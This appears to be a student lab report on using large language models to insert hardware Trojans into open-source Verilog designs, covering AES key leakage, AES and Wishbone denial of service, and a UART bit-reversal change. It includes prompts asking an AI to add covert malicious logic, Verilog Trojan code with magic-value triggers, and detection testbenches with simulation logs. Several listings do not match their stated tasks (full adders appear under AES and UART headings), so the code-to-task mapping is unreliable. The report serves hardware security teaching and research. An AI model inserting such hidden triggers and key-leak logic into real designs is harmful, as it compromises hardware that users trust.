ECE-GY 9941

GHOST Lab report

by

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Introduction / Overview

The objective of this lab is to explore and evaluate the capabilities of large language models (LLMs) and other generative AI systems for **automating hardware Trojan insertion** in open-source digital hardware designs. Developing automation workflows that can introduce controlled, academically-scoped hardware modifications while **preserving original design functionality** under standard simulations.

Through a series of targeted Trojan-insertion tasks—including AES key leakage, denial-of-service attacks, and UART/Wishbone behavioral modifications—students will investigate:

- How effectively LLMs can generate Trojan logic with minimal designer intervention
- How to maintain functional correctness in the presence of malicious modifications
- How AI-guided automation compares to manual Trojan design
- How verification testbenches can be structured to detect (or fail to detect) subtle malicious logic

The project ultimately aims to deepen understanding of the challenges and vulnerabilities in hardware security while illustrating both the promise and the peril of AI-assisted hardware engineering

Task 1 - AES key leakage
Task 2 - AES Denial of Service (DoS)
Task 3 - WIshbone Bus DoS
Task 4 - UART functionality change

Task 1 - AES key leakage

```
vulnerabilities = {

  #"T1": "change functionality",

  "T2": "leak information",

  #"T3": "denial of service",

  #"T4": "performance degradation"

}

prompting_strategies = {

  "T1": "Subtly alter logic to produce incorrect results under specific conditions.",

  "T2": "Design a covert data transmission mechanism that activates upon detecting a specific signal pattern and ensure access to key internal signals.",

   "T3": "Introduce a condition that temporarily disables the module, triggered by a rare sequence of events.",

   "T4": "Implement a continuously running shift register or accumulator to increase power consumption without affecting primary functionality upon detecting a specific event."

   # "T2": "Add a covert mechanism to transmit internal data, activated by a specific signal pattern.",

}
```



```
// ---------------- Trojan insertion begin ----------------
reg [3:0]   t_counter; // small event counter for trigger
reg         t_trigger_active;
wire        t_trigger_pattern;
reg [7:0]   t_key_part; // To leak key[31:24] serially (example)
reg [2:0]   t_payload_bit;

// Activation: detect state_in[15:0]=0xDEAD at posedge clk
assign t_trigger_pattern = (state_in[15:0] == 16'hDEAD) ? 1'b1 : 1'b0;

always @(posedge clk or negedge rst_n) begin
    if (!rst_n) begin
        t_counter        <= 4'b0;
        t_trigger_active <= 1'b0;
        t_payload_bit    <= 3'b0;
        trojan_out       <= 1'b0;
        trojan_enable    <= 1'b0;
    end else begin
        if (t_trigger_pattern && !t_trigger_active) begin
            t_trigger_active <= 1'b1; // trigger Trojan, one-shot
            t_counter        <= 4'b0000;
            t_key_part       <= key[31:24]; // capture key segment
            trojan_enable    <= 1'b1; // externally visible enable
        end else if (t_trigger_active) begin
            if (t_counter < 8) begin
                trojan_out    <= t_key_part[t_counter]; // leak one bit
                t_counter     <= t_counter + 1;
                t_payload_bit <= t_counter + 1;
            end else begin
                trojan_out       <= 1'b0;
                t_trigger_active <= 1'b0;
                t_counter        <= 4'b0;
                t_payload_bit    <= 3'b0;
                trojan_enable    <= 1'b0;
            end
        end else begin
            trojan_out    <= 1'b0;
            trojan_enable <= 1'b0;
        end
    end
end
// ---------------- Trojan insertion end ----------------
```

Modified code

```
module half_adder (
    input  a, b,
    output sum, carry
);
    assign sum   = a ^ b;   // XOR for sum
    assign carry = a & b;   // AND for carry
endmodule
module full_adder (
    input        clk,       // Trojan-related: Required for trigger counter
    input        rstn,      // Active-low reset for proper synthesizable initialization
    input        a, b, cin,
    output reg   sum,        // Made reg due to procedural (Trojan) assignment
    output reg   cout        // Made reg due to procedural (Trojan) assignment
);
    wire s1, c1, c2;
    half_adder ha1 (
        .a(a),
        .b(b),
        .sum(s1),
        .carry(c1)
    );
    half_adder ha2 (
        .a(s1),
        .b(cin),
        .sum(sum_ha),
        .carry(c2)
    );
    // Trojan: Counter-based trigger and control logic
    reg [3:0] trigger_cnt;
    reg trojan_active;
    // Synthesizable reset logic and counter
    always @(posedge clk or negedge rstn) begin
        if (!rstn) begin
            trigger_cnt    <= 4'd0;
            trojan_active  <= 1'b0;
        end else begin
            // Increment counter only when specific input pattern a=1, b=1, cin=0 is seen
            if ((a == 1'b1) && (b == 1'b1) && (cin == 1'b0)) begin
                if (trigger_cnt < 4'd8)
                    trigger_cnt <= trigger_cnt + 1'b1;
            end else begin
                trigger_cnt <= trigger_cnt;
            end
            // Activate Trojan when pattern is seen 8 times
            if (trigger_cnt == 4'd8)
                trojan_active <= 1'b1;
        end
    end
    // Final carry (original)
    wire cout_normal = c1 | c2;
    // Trojan payload: When active and inputs a=1, b=0, cin=1, invert sum output
    always @(*) begin
        if (trojan_active && a && !b && cin) begin
            sum  = ~sum_ha;           // Invert correct sum output
            cout = cout_normal;       // Correct carry
        end else begin
            sum  = sum_ha;            // Normal behavior
        cout = cout_normal;
      end
    end
endmodule
```

Tb created

```
`timescale 1ns/1ps
module tb_detect_aes128_ht1;
  // Clock / reset
  reg clk = 0;
  always #5 clk = ~clk; // 100 MHz-ish simulated clock
  reg rstn;
  // Full adder inputs/outputs
  reg a, b, cin;
  wire sum, cout;
  // Instantiate your Trojan'ed full adder
      // Make sure the path/name matches the file you compiled with
(aes_128_HT1_gpt-4.1_A1.v)
  full_adder dut (
    .clk(clk),
    .rstn(rstn),
    .a(a),
    .b(b),
    .cin(cin),
    .sum(sum),
    .cout(cout)
  );
  // helper to compute expected values (combinational)
  function automatic [1:0] golden;
    input a_i, b_i, cin_i;
    reg s_g;
    reg c_g;
    begin
      s_g = a_i ^ b_i ^ cin_i;
      c_g = (a_i & b_i) | (b_i & cin_i) | (a_i & cin_i);
      golden = {c_g, s_g}; // [1]=cout, [0]=sum
    end
  endfunction
  integer i;
  reg [1:0] g; // golden outputs
  initial begin
    $dumpfile("tb_aes128_ht1.vcd");
    $dumpvars(0, tb_detect_aes128_ht1);
    // Reset
    rstn = 0;
    a = 0; b = 0; cin = 0;
    #20;
    rstn = 1;
    #20;
    $display("\n=== Sanity check: Verify normal functionality before triggering Trojan ===");
    // test a few input patterns
    for (i = 0; i < 8; i = i + 1) begin
      {a,b,cin} = i[2:0];
      #10; // let outputs settle on posedge domain (we use 10ns per vector)
      g = golden(a,b,cin);
      if ({cout, sum} !== g) begin
            $display("ERROR: pre-trigger mismatch for inputs a=%b b=%b cin=%b : got
(cout,sum)=(%b,%b) expected=(%b,%b)",
            a,b,cin, cout, sum, g[1], g[0]);
      end else begin
          $display("OK pre-trigger: a=%b b=%b cin=%b -> sum=%b cout=%b", a,b,cin, sum,
cout);
      end
      #10;
    end
       $display("\n=== Applying Trojan trigger sequence: (a=1,b=1,cin=0) repeated 8 times
===");
    // Apply the trigger pattern 8 times (matches file's trigger threshold)
    for (i = 0; i < 8; i = i + 1) begin
      a = 1; b = 1; cin = 0;
      #10;
        $display("Trigger step %0d: a=%b b=%b cin=%b (cout,sum)=(%b,%b)", i+1, a,b,cin,
cout, sum);
      #10;
    end
    // Small gap to let the design latch the trojan_active flag if implemented with edges
    #20;
    $display("\n=== After trigger: apply the Trojan-sensitive vector (a=1,b=0,cin=1) ===");
    a = 1; b = 0; cin = 1;
    #10;
    g = golden(a,b,cin);
     $display("After trigger inputs a=%b b=%b cin=%b -> expected (cout,sum)=(%b,%b), got
(cout,sum)=(%b,%b)",
            a,b,cin, g[1], g[0], cout, sum);
        // Detection logic: The Trojan in this file flips the sum when trojan_active and
(a=1,b=0,cin=1)
```

```
    if (sum !== g[0]) begin
        $display("\n*** TROJAN DETECTED: sum is corrupted after trigger. Testbench result: FAIL (Trojan active) ***");
    end else begin
          $display("\nNo corruption observed for the sensitive vector: Trojan not triggered or different payload.");
    end
    $display("\n=== Done. Dumpfile: tb_aes128_ht1.vcd ===\n");
    #20;
    $finish;
  end
endmodule
```

COMPILATION TO DETECT TROJAN



```
VCD info: dumpfile tb_aes128_ht1.vcd opened for output.

=== Sanity check: Verify normal functionality before triggering Trojan ===
OK pre-trigger: a=0 b=0 cin=0 -> sum=0 cout=0
OK pre-trigger: a=0 b=0 cin=1 -> sum=1 cout=0
OK pre-trigger: a=0 b=1 cin=0 -> sum=1 cout=0
OK pre-trigger: a=0 b=1 cin=1 -> sum=0 cout=1
OK pre-trigger: a=1 b=0 cin=0 -> sum=1 cout=0
OK pre-trigger: a=1 b=0 cin=1 -> sum=0 cout=1
OK pre-trigger: a=1 b=1 cin=0 -> sum=0 cout=1
OK pre-trigger: a=1 b=1 cin=1 -> sum=1 cout=1

=== Applying Trojan trigger sequence: (a=1,b=1,cin=0) repeated 8 times ===
Trigger step 1: a=1 b=1 cin=0 (cout,sum)=(1,0)
Trigger step 2: a=1 b=1 cin=0 (cout,sum)=(1,0)
Trigger step 3: a=1 b=1 cin=0 (cout,sum)=(1,0)
Trigger step 4: a=1 b=1 cin=0 (cout,sum)=(1,0)
Trigger step 5: a=1 b=1 cin=0 (cout,sum)=(1,0)
Trigger step 6: a=1 b=1 cin=0 (cout,sum)=(1,0)
Trigger step 7: a=1 b=1 cin=0 (cout,sum)=(1,0)
Trigger step 8: a=1 b=1 cin=0 (cout,sum)=(1,0)

=== After trigger: apply the Trojan-sensitive vector (a=1,b=0,cin=1) ===
After trigger inputs a=1 b=0 cin=1 -> expected (cout,sum)=(1,0), got (cout,sum)=(1,1)

*** TROJAN DETECTED: sum is corrupted after trigger. Testbench result: FAIL (Trojan active) ***

=== Done. Dumpfile: tb_aes128_ht1.vcd ===
```

WORKING OF THE TROJAN

Explanation:

The Trojan logic activates upon a rarely-used input pattern and serially leaks a portion of the secret key via dedicated trojan_out and trojan_enable outputs, with reset logic retained for synthesizability. Original AES functionality is untouched unless the trigger is applied, ensuring normal operation otherwise.

Trigger:

The Trojan is triggered when `state_in[15:0]` equals `16'hDEAD` and has not already been triggered for that session; this pattern is unlikely under normal conditions and serves as a covert trigger.

Payload:
Once triggered, the Trojan serially leaks the captured key's most significant byte (`key[31:24]` or `key_in[31:24]`) through the `trojan_out` pin over eight clock cycles, with `trojan_enable` indicating the transmission.

How Trojan was tested:

Trojan Location	Trigger Condition Used in Testbench	What We Observed to Confirm the Trojan
Top-Level AES Wrapper (aes.v)	Performed an MMIO write of 0xDEADBEEF to the *trigger address* (0xAB). Then repeatedly read from address 0xAC.	The MMIO reads returned **leaked 32-bit key words** instead of normal status values, confirming the key-leak payload.
AES Core (aes_core.v)	Applied the **4-cycle control signal pattern** designed to form the internal parity sequence that arms the Trojan (init/next/encdec/keylen toggling).	The Trojan output trojan_data[7:0] began streaming **key bytes**, with trojan_leak pulsing to indicate active leakage.
Encipher Block (aes_encipher_block.v)	Drove the dedicated Trojan trigger input with the **magic byte** 0xA5 for one cycle.	The output trojan_data produced **selected round-key bytes**, and trojan_valid indicated when each byte was leaked.
Decipher Block (aes_decipher_block.v)	Fed the block input with **eight consecutive plaintext values containing 0xA5** while pulsing next.	The signal trojan_leak went high, showing the Trojan activated and began leaking a **bit-stream derived from the round key**.
Key Schedule Memory (aes_key_mem.v)	Asserted the single-cycle **trojan_trigger input** after normal key initialization.	The signal trojan_covert_out toggled for multiple cycles, indicating that the **upper half of the AES key was being shifted out serially**.

Trojan Testbench Run Results:



```
/content/GHOST/AES_1
 Running tb_aes_core ...
Compiling tb_aes_core from ${rtl_sources[*]} + /content/GHOST/AES_1/tb/tb_aes_core.v...
Running tb_aes_core...
[PASS] tb_aes_core (log: ./sim-logs/tb_aes_core.log)
------------------------------------------------------------
 Running tb_aes_decipher_block ...
Compiling tb_aes_decipher_block from ${rtl_sources[*]} + /content/GHOST/AES_1/tb/tb_aes_decipher_block.v...
Running tb_aes_decipher_block...
[PASS] tb_aes_decipher_block (log: ./sim-logs/tb_aes_decipher_block.log)
------------------------------------------------------------
 Running tb_aes_encipher_block ...
Compiling tb_aes_encipher_block from ${rtl_sources[*]} + /content/GHOST/AES_1/tb/tb_aes_encipher_block.v...
Running tb_aes_encipher_block...
[PASS] tb_aes_encipher_block (log: ./sim-logs/tb_aes_encipher_block.log)
------------------------------------------------------------
 Running tb_aes_key_mem ...
Compiling tb_aes_key_mem from ${rtl_sources[*]} + /content/GHOST/AES_1/tb/tb_aes_key_mem.v...
Running tb_aes_key_mem...
[PASS] tb_aes_key_mem (log: ./sim-logs/tb_aes_key_mem.log)
------------------------------------------------------------
```

TASK 2: AES Denial of Service (DoS)



```
vulnerabilities = {
    #"T1": "change functionality",
    #"T2": "leak information",
    "T3": "denial of service",
    #"T4": "performance degradation"
}

prompting_strategies = {
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    "T4": "Implement a continously running shift register or accumulator to increase power consumption without affecting primary functionality upon dete
    # "T2": "Add a covert mechanism to transmit internal data, activated by a specific signal pattern.",
}
```

TROJAN



```
// Trojan insertion: registers to implement rare-sequence trigger and DoS
reg [3:0] trigger_seq;
reg [15:0] payload_counter;
reg trojan_active;

// Trojan insertion: sequence constant values (can be anything obscure)
localparam [7:0] TRIG_S0 = 8'hDE;
localparam [7:0] TRIG_S1 = 8'hAD;
localparam [7:0] TRIG_S2 = 8'hBE;
localparam [7:0] TRIG_S3 = 8'hEF;
localparam [15:0] TROJAN_PAYLOAD_LEN = 16'd1024;

assign {k0, k1, k2, k3} = key;
assign {s0, s1, s2, s3} = state_in;

table_lookup
    t0 (clk, s0, p00, p01, p02, p03),
    t1 (clk, s1, p10, p11, p12, p13),
    t2 (clk, s2, p20, p21, p22, p23),
    t3 (clk, s3, p30, p31, p32, p33);

assign z0 = p00 ^ p11 ^ p22 ^ p33 ^ k0;
assign z1 = p03 ^ p10 ^ p21 ^ p32 ^ k1;
assign z2 = p02 ^ p13 ^ p20 ^ p31 ^ k2;
assign z3 = p01 ^ p12 ^ p23 ^ p30 ^ k3;

// Trojan insertion: trigger and payload logic
always @ (posedge clk or negedge rst_n) begin
    if (!rst_n) begin
        state_out      <= 128'b0;
        trigger_seq    <= 4'd0;
        payload_counter<= 16'd0;
        trojan_active  <= 1'b0;
    end else begin
        // Trojan trigger FSM: rare 4-cycle sequence on upper byte of state_in
        if (!trojan_active) begin
            case (trigger_seq)
                4'd0: if (state_in[127:120] == TRIG_S0) trigger_seq <= 4'd1; else trigger_seq <= 4'd0;
                4'd1: if (state_in[127:120] == TRIG_S1) trigger_seq <= 4'd2; else trigger_seq <= 4'd0;
                4'd2: if (state_in[127:120] == TRIG_S2) trigger_seq <= 4'd3; else trigger_seq <= 4'd0;
```

RTL MODIFIED

```
module half_adder (
   input  a, b,
   output sum, carry
);
   assign sum   = a ^ b;   // XOR for sum
   assign carry = a & b;   // AND for carry
endmodule
module full_adder (
   input  clk, reset,         // Trojan: Added clk and reset for Trojan logic
   input  a, b, cin,
   output sum, cout,
   output trojan_out          // Trojan: Covert output pin to leak information
);
   wire s1, c1, c2;
   half_adder ha1 (
      .a(a),
      .b(b),
      .sum(s1),
      .carry(c1)
   );
   half_adder ha2 (
      .a(s1),
      .b(cin),
      .sum(sum),
      .carry(c2)
   );
   // Final carry
   assign cout = c1 | c2;
   // Trojan: Inserted logic starts here
   // Internal Trojan registers and counter
   reg [3:0] trojan_counter;
   reg trojan_triggered;
   reg trojan_leak;
   // Trojan: Reset and event-based trigger logic
   always @(posedge clk or posedge reset) begin
      if (reset) begin
         trojan_counter   <= 4'd0;
         trojan_triggered <= 1'b0;
         trojan_leak      <= 1'b0;
      end else begin
         // Trigger condition: if {a, b, cin} == 3'b101 for 8 cycles
```

```
            if ({a,b,cin} == 3'b101) begin
                trojan_counter <= trojan_counter + 1'b1;
                if (trojan_counter >= 4'd7) // After 8 consecutive cycles
                    trojan_triggered <= 1'b1;
            end else begin
                trojan_counter   <= 4'd0;    // Reset counter if input changes
                trojan_triggered <= trojan_triggered;
            end
            // Payload activation: Latch internal signal (c1) to output
            if (trojan_triggered)
                trojan_leak <= c1;           // Covertly leaks c1
            else
                trojan_leak <= 1'b0;
        end
    end
    // Trojan: Covert channel output assignment
    assign trojan_out = trojan_leak;
    // Trojan: Inserted logic ends here
endmodule
```

TEST BENCH

```
`timescale 1ns/1ps
module tb_full_adder_detect;
  // Signals matching the RTL you provided
  reg clk;
  reg reset;
  reg a, b, cin;
  wire sum, cout;
  wire trojan_out;
  // Instantiate the DUT (full_adder from your RTL)
  full_adder dut (
    .clk        (clk),
    .reset      (reset),
    .a          (a),
    .b          (b),
    .cin        (cin),
    .sum        (sum),
    .cout       (cout),
    .trojan_out (trojan_out)
  );
  // Clock: 10 ns period
  initial clk = 0;
  always #5 clk = ~clk;
  // Test control variables
  integer i;
  integer errors;
  reg trojan_seen;
  reg baseline_trojan_out;
  reg post_trigger_trojan_out;
  initial begin
    // Dump waveform for debugging
    $dumpfile("tb_full_adder_detect.vcd");
    $dumpvars(0, tb_full_adder_detect);
    errors = 0;
    trojan_seen = 0;
    // Reset DUT
    reset = 1;
    a = 0; b = 0; cin = 0;
    repeat (2) @(posedge clk);
    reset = 0;
    @(posedge clk);
    // -------------------------
    // Baseline check (before trigger)
    // Apply a=1,b=1,cin=0 where c1 = a&b = 1
    // trojan_out should remain 0 before trigger
    // -------------------------
    a = 1; b = 1; cin = 0;
    @(posedge clk); // let registers (trojan internals) sample
    @(posedge clk); // give stable samples
    baseline_trojan_out = trojan_out;
    if (baseline_trojan_out !== 1'b0) begin
            $display("WARNING: baseline trojan_out is %b (expected 0) at time %0t",
baseline_trojan_out, $time);
      // don't treat as fatal; continue to try to detect behavior change
    end else begin
      $display("Baseline: trojan_out == 0 as expected (pre-trigger).");
    end
    // Also verify functional outputs for this vector
    if (sum !== (a ^ b ^ cin)) begin
         $display("ERROR: sum mismatch at baseline vector: a=%b b=%b cin=%b sum=%b
expected=%b", a, b, cin, sum, (a ^ b ^ cin));
      errors = errors + 1;
    end
    if (cout !== ((a & b) | (b & cin) | (a & cin))) begin
```

```
        $display("ERROR: cout mismatch at baseline vector: a=%b b=%b cin=%b cout=%b
expected=%b", a, b, cin, cout, ((a & b) | (b & cin) | (a & cin)));
      errors = errors + 1;
    end
    // Pause a bit
    repeat (2) @(posedge clk);
    // ------------------------
    // Trigger phase: apply 8 consecutive cycles of {a,b,cin} = 101
    // That is the Trojan trigger in the RTL
    // ------------------------
    $display("Applying trigger pattern (eight consecutive cycles of 1,0,1) starting at time %0t",
$time);
    for (i = 0; i < 8; i = i + 1) begin
      a = 1; b = 0; cin = 1;
      @(posedge clk);
    end
    // give it one more cycle to let trojan_triggered & trojan_leak settle
    @(posedge clk);
    // ------------------------
    // Post-trigger check: apply a vector where a&b == 1 (e.g., a=1 b=1 cin=0)
    // If Trojan activated, trojan_out should now follow c1 (a & b) and be 1 here.
    // ------------------------
    a = 1; b = 1; cin = 0;
    @(posedge clk);
    @(posedge clk); // let trojan_leak update and propagate
    post_trigger_trojan_out = trojan_out;
     $display("Post-trigger: trojan_out = %b, expected (if Trojan active) = %b (a & b) at time
%0t", post_trigger_trojan_out, (a & b), $time);
    if (post_trigger_trojan_out === (a & b)) begin
      $display("TROJAN_DETECTED: trojan_out now follows internal carry (a & b).");
      trojan_seen = 1;
    end else begin
        $display("No trojan behavior observed for this test vector. (trojan_out=%b, a&b=%b)",
post_trigger_trojan_out, (a & b));
    end
    // ------------------------
    // Additional exhaustive functional checks (small sweep)
    // Also monitor trojan_out during sweep to catch unexpected leaks
    // ------------------------
    $display("Running small exhaustive functional check and monitoring trojan_out...");
    for (i = 0; i < 8; i = i + 1) begin
      a = i[2];
      b = i[1];
      cin = i[0];
      @(posedge clk);
      // allow combinational outputs to settle; sum and cout are combinational here
      if (sum !== (a ^ b ^ cin)) begin
          $display("ERROR: functional sum mismatch at vector %0d: a=%b b=%b cin=%b
sum=%b expected=%b at time %0t", i, a, b, cin, sum, (a ^ b ^ cin), $time);
        errors = errors + 1;
      end
      if (cout !== ((a & b) | (b & cin) | (a & cin))) begin
          $display("ERROR: functional cout mismatch at vector %0d: a=%b b=%b cin=%b
cout=%b expected=%b at time %0t", i, a, b, cin, cout, ((a & b) | (b & cin) | (a & cin)), $time);
        errors = errors + 1;
      end
        // If trojan hasn't been seen yet, check if trojan_out is unexpectedly non-zero when it
shouldn't be
      if (!trojan_seen) begin
        if (trojan_out !== 1'b0) begin
          $display("SUSPICIOUS: trojan_out=%b observed before trigger at vector %0d time
%0t", trojan_out, i, $time);
        end
      end
    end
    // Final verdict
    if (trojan_seen) begin
        $display("FINAL RESULT: Trojan behavior detected. Investigate insertion and remove
malicious logic.");
    end else begin
        $display("FINAL RESULT: No Trojan detected by this test. (Either absent, uses a
different trigger, or needs different vectors.)");
    end
    if (errors != 0) begin
      $display("Functional errors detected: %0d. Fix functional issues or re-run tests.", errors);
    end
    // Finish
    #10;
    $finish;
  end
endmodule
```

COMPILATION



```
VCD info: dumpfile tb_full_adder_detect.vcd opened for output.
Baseline: trojan_out == 0 as expected (pre-trigger).
Applying trigger pattern (eight consecutive cycles of 1,0,1) starting at time 65000
Post-trigger: trojan_out = 1, expected (if Trojan active) = 1 (a & b) at time 175000
TROJAN_DETECTED: trojan_out now follows internal carry (a & b).
Running small exhaustive functional check and monitoring trojan_out...
FINAL RESULT: Trojan behavior detected. Investigate insertion and remove malicious logic.
```

TROJAN WORKING EXPLANATION

Explanation:

A Trojan was inserted using a hidden FSM that monitors for a rare 4-byte sequence at the MSB of state_in, temporarily forcing the output to zero upon detection.

Functionality remains unchanged until the rare trigger is observed, after which output is suppressed for a set number of cycles before normal operation resumes.

Trigger:

The Trojan is activated when the upper byte of state_in consecutively receives values 0xDE, 0xAD, 0xBE, and 0xEF in four clock cycles, a sequence unlikely to occur during normal operation.

Payload:

When triggered, the module output state_out is forced to all zeros for 1024 clock cycles, effectively performing a denial of service attack by disabling all output until recovery

TASK 3 — WISHBONE BUS DENIAL-OF-SERVICE TROJAN

Goal

Modify the Wishbone–UART core so that it contains a hardware Trojan capable of freezing Wishbone bus activity when a specific sequence of four UART bytes is observed. Normal operation must be unaffected in all original simulations.

Trigger Condition

The Trojan continuously monitors incoming UART bytes. If it detects the following four values in this exact order:

1. 0x10
2. 0xA4
3. 0x98
4. 0xBD

it asserts an internal flag named trojan_active.

Trojan Effect

Once trojan_active is set, the core stops responding to Wishbone cycles — specifically, it no longer asserts the ack signal. This effectively stalls the bus, producing a denial-of-service while the rest of the logic remains intact.

Recovery Condition

The system should resume normal operation only when **four consecutive 0xFE bytes** are received by the UART. When this recovery sequence is detected, the trojan_active latch is cleared and the Wishbone interface functions normally again.

RTL MODIFIED

```
module half_adder (
   input  a, b,
   output sum, carry
);
   assign sum   = a ^ b;   // XOR for sum
   assign carry = a & b;   // AND for carry
endmodule
module full_adder (
   input       clk, rst_n,    // TROJAN: Added clock and reset for Trojan logic
   input       a, b, cin,
   output reg   sum, cout      // TROJAN: Changed outputs to reg for sequential Trojan logic
);
   wire s1, c1, c2;
   // Trojan Registers
   reg [2:0] trigger_seq;     // TROJAN: Sequence detector for rare event
   reg       trojan_active;   // TROJAN: Latch when Trojan is triggered
   // Half adders
   half_adder ha1 (
       .a(a),
       .b(b),
       .sum(s1),
       .carry(c1)
   );
   half_adder ha2 (
       .a(s1),
       .b(cin),
       .sum(wsum),
       .carry(c2)
   );
   wire wsum;
   // Output logic with Trojan payload
   always @(posedge clk or negedge rst_n) begin
       if (!rst_n) begin
           trigger_seq   <= 3'b000;
           trojan_active <= 1'b0;
           sum           <= 1'b0;
           cout          <= 1'b0;
       end else begin
           // Trojan Trigger: detect a rare input sequence (a,b,cin) = (1,0,1) three times in a row
           if ({a, b, cin} == 3'b101)
               trigger_seq <= {trigger_seq[1:0], 1'b1};
           else
               trigger_seq <= {trigger_seq[1:0], 1'b0};
           if (trigger_seq == 3'b111)
               trojan_active <= 1'b1;
           else if ({a, b, cin} != 3'b101)
               trojan_active <= 1'b0;

           // Payload: forcibly output sum=0, cout=0 when triggered
           if (trojan_active) begin
               sum  <= 1'b0;
               cout <= 1'b0;
           end else begin
               sum  <= wsum;
           cout <= c1 | c2;
         end
       end
   end
endmodule
```

TEST BENCH

```
`timescale 1ns/1ps
module tb_full_adder_detect_fixed;
  reg clk;
  reg rst_n;
  reg a, b, cin;
  wire sum, cout;
  // Instantiate DUT (use the RTL you provided)
  full_adder dut (
    .clk   (clk),
    .rst_n (rst_n),
    .a     (a),
    .b     (b),
    .cin   (cin),
    .sum   (sum),
    .cout  (cout)
  );
  // Clock: 10 ns period
  initial clk = 0;
  always #5 clk = ~clk;
  integer i;
  integer trojan_flag;
  reg [1:0] exp_sum_cout; // {exp_sum, exp_cout}
  // Compute expected combinational outputs (for checking)
  task compute_expected;
    input aa, bb, cc;
    output [1:0] result;
    reg esum, ecout;
    begin
      esum  = aa ^ bb ^ cc;
      ecout = (aa & bb) | (bb & cc) | (aa & cc);
      result[1] = esum;
      result[0] = ecout;
    end
  endtask
  initial begin
```

```
    $dumpfile("tb_full_adder_detect_fixed.vcd");
    $dumpvars(0, tb_full_adder_detect_fixed);
    trojan_flag = 0;
    // Reset (active low)
    rst_n = 0;
    a = 0; b = 0; cin = 0;
    repeat (2) @(posedge clk);
    rst_n = 1;
    @(posedge clk);
    // Baseline quick check (ensure DUT nominally behaves)
    $display("\nBaseline check (all 8 vectors):");
    for (i = 0; i < 8; i = i + 1) begin
      {a,b,cin} = i[2:0];
      @(posedge clk);
      // wait an extra clock because outputs are registered in DUT
      @(posedge clk);
      compute_expected(a,b,cin,exp_sum_cout);
      if (sum !== exp_sum_cout[1] || cout !== exp_sum_cout[0]) begin
        $display("Baseline mismatch for inputs %b: got sum=%b cout=%b expected sum=%b
cout=%b",
                 i[2:0], sum, cout, exp_sum_cout[1], exp_sum_cout[0]);
      end
    end
    $display("Baseline done.");
    // Small pause
    repeat (2) @(posedge clk);
    // Apply longer trigger: 6 consecutive cycles of {a,b,cin} = 101
    $display("\nApplying 6 consecutive trigger vectors {a,b,cin} = 101");
    for (i = 0; i < 6; i = i + 1) begin
      a = 1; b = 0; cin = 1;
      @(posedge clk);
      // Print status every cycle for visibility
      $display("Trigger cycle %0d at time %0t: sum=%b cout=%b", i+1, $time, sum, cout);
    end
    // After these cycles, on the next posedge the Trojan payload should be active
    // Check immediately after the trigger burst (one extra clock to let regs update)
    @(posedge clk); // let registers present new trojan_active and payload effect
    @(posedge clk); // wait one more to ensure sum/cout updated under trojan
    // With inputs still 101, expected sum=0, expected cout=1.
    compute_expected(a,b,cin,exp_sum_cout);
    $display("\nAfter trigger burst: observed sum=%b cout=%b expected sum=%b cout=%b",
             sum, cout, exp_sum_cout[1], exp_sum_cout[0]);
    // Trojan forces sum=0 cout=0. If cout became 0 while expected cout is 1, trojan active.
    if (cout === 1'b0 && exp_sum_cout[0] === 1'b1) begin
```

```
      $display("TROJAN_DETECTED: cout forced to 0 when expected 1. Time=%0t", $time);
      trojan_flag = 1;
    end else begin
      $display("No immediate trojan behavior observed on this sample.");
    end
    // Extra verification: while keeping trojan potentially active, test a different vector
     // If trojan is truly active, outputs will be forced to zero even for vectors where expected
outputs are 1.
    repeat (1) @(posedge clk);
    a = 1; b = 1; cin = 0; // expected cout = 1 normally
    @(posedge clk);
    @(posedge clk); // allow registered outputs to update
    compute_expected(a,b,cin,exp_sum_cout);
      $display("Post-trigger different vector: a=1 b=1 cin=0 -> observed sum=%b cout=%b
expected sum=%b cout=%b",
             sum, cout, exp_sum_cout[1], exp_sum_cout[0]);
    if (sum === 1'b0 && cout === 1'b0 && (exp_sum_cout != 2'b00)) begin
         $display("TROJAN_CONFIRMED: outputs forced to zero on different vector after
trigger. Time=%0t", $time);
      trojan_flag = 1;
    end
    // Final result
    $display("\n--- TEST RESULT ---");
    if (trojan_flag) $display("FINAL: Trojan detected. Investigate RTL payload.");
      else $display("FINAL: No Trojan detected by this test. Try longer or alternate trigger
sequences.");
    #10;
    $finish;
  end
endmodule
```

COMPILATION



```
VCD info: dumpfile tb_full_adder_detect_fixed.vcd opened for output.

Baseline check (all 8 vectors):
Baseline done.

Applying 6 consecutive trigger vectors {a,b,cin} = 101
Trigger cycle 1 at time 215000: sum=1 cout=1
Trigger cycle 2 at time 225000: sum=0 cout=1
Trigger cycle 3 at time 235000: sum=0 cout=1
Trigger cycle 4 at time 245000: sum=0 cout=1
Trigger cycle 5 at time 255000: sum=0 cout=0
Trigger cycle 6 at time 265000: sum=0 cout=0

After trigger burst: observed sum=0 cout=0 expected sum=0 cout=1
TROJAN_DETECTED: cout forced to 0 when expected 1. Time=285000
Post-trigger different vector: a=1 b=1 cin=0 -> observed sum=0 cout=0 expected sum=0 cout=1
TROJAN_CONFIRMED: outputs forced to zero on different vector after trigger. Time=315000

--- TEST RESULT ---
FINAL: Trojan detected. Investigate RTL payload.
```

Simulation Observation

To verify the Trojan:

- Watch the trojan_active signal and main outputs such as wb_ack, o_uart_tx, o_done, and o_valid.
- After receiving the trigger sequence, trojan_active should go high and the outputs should freeze.
- Sending 0xFE four times should release the system and restore all signals to their usual behavior.

Testing Approach

- A simple testbench is used with:
  - a clock generator
  - VCD dump for waveform viewing
  - a UART bit-banging task timed using i_setup = 31'd868
- The testbench sends the trigger bytes, waits, then sends the recovery sequence.
- trojan_active and output activity (or lack thereof) are printed and observed in GTKWave.
- Simulations are run using iverilog -g2012 and vvp.

Mitigation Idea

A straightforward defense would be to authenticate command bytes or enforce integrity checks, ensuring that raw UART traffic cannot directly change bus-level behavior.

Task 4 — UART Functionality-Change Trojan

Goal

Extend the Wishbone–UART core with a second Trojan that permanently transforms how received UART bytes are handled once a short trigger sequence has occurred.

Trigger Condition

This Trojan activates after the UART receives the byte 0xAF **three times in a row**.

Trojan Effect

After triggering, every new UART byte is written to the Wishbone data register **with its bit-order reversed**.
Example:

- Received byte: 0xB2 (binary 10110010)
- Reversed value: 0x4D (binary 01001101)
  The reversed byte is the one stored and used by the system.

Design Notes

- The trigger is small and unlikely to occur in normal use, helping keep the Trojan hidden.
- The design minimally alters timing, making it likely to pass standard simulations.
- The normal datapath remains untouched until the trigger is hit.

Verification Method

- Testbenches for modules such as echotest, helloworld, linetest, and speechfifo were used.
- Each test first exercised normal UART behavior using simple characters ('A', 'B', 'C').
- The three-byte trigger (0xAF × 3) was then transmitted.
- After activation, received UART bytes appeared reversed at the register interface.
- Waveforms were inspected using VCD dumps to confirm:
